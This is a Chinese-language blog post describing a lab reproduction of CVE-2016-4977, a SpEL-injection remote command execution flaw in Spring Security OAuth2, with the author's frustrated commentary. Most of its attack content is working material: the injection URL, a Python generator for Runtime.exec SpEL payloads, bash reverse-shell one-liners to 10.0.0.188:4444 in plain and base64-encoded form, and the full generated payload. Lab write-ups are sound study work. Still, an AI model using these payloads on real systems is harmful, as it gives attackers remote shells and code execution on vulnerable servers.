Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

复现此漏洞遇到种种挫折,完全找不到半点资料 卡在了bash shell 头疼了好几天 

原理

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

我还特意问了个搞java的朋友 spring是框架,Spring Security OAuth是其中的一个模块,小弟不懂java的说

参考链接:
 
我不知道文档给的参考链接有鸡毛用,还是贴上吧
 
环境搭建的就不说了 github上有vulhub

漏洞复现

http://xxxxx:8080/oauth/authorizeresponse_type=${9*3}&client_id=acme&scope=openid&redirect_uri=http://test
 
需要认证 默认 admin
 
可见,我们输入是SpEL表达式 ${9*3} 已经成功执行并返回结果
38.png然后,我们使用[poc.py](poc.py)来生成反弹shell的POC(注意:[Java反弹shell的限制与绕过方式](http://jackson.thuraisamy.me/runtime-exec-payloads.html)):
 
同样 文档上上面这句话我不知道有几把毛用,bashshell怎么写的 还是没搞懂 只是给了个打码的图
 
2.png

POC

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 

poc += ')}'

print(poc)

bashShell

查了下反弹shell 具体bash的命令好像是

bash -i >& /dev/tcp/ip/port 0>&1 完全懵逼 然后哥又去研究了 重定向与操作符

为毛要base64加密 加密后语句是嘛样 这些疑问都没人解答。。。踩坑中。。。

27.png

参见大佬的文章,如拨云见日 醍醐灌顶

https://x.hacking8.com/post-294.html

更正后的bash语句
 
bash -c 'sh -i >& /dev/tcp/10.0.0.188/4444 0>&1'
bash -c {echo,YmFzaCAtYyAnc2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4wLjE4OC80NDQ0IDA+JjEn}|{base64,-d}|{bash,-i}

使用 POC 得到一长串 

${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(87)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(57)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}

21.png

此时心情如春风般(nmb)荡漾

本博客所有文章如无特别注明均为原创。作者:odaycaogen复制或转载请以超链接形式注明转自 123``blog
原文地址《Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

郑重声明:本文只做技术交流学习使用,请尊重当地法规法律,勿对企业或个人网站及app进行破坏。如产生连带法律责任 123``blog 作者本人概不负责。

相关推荐

发表评论

路人甲 表情
Ctrl+Enter快速提交

网友评论(0)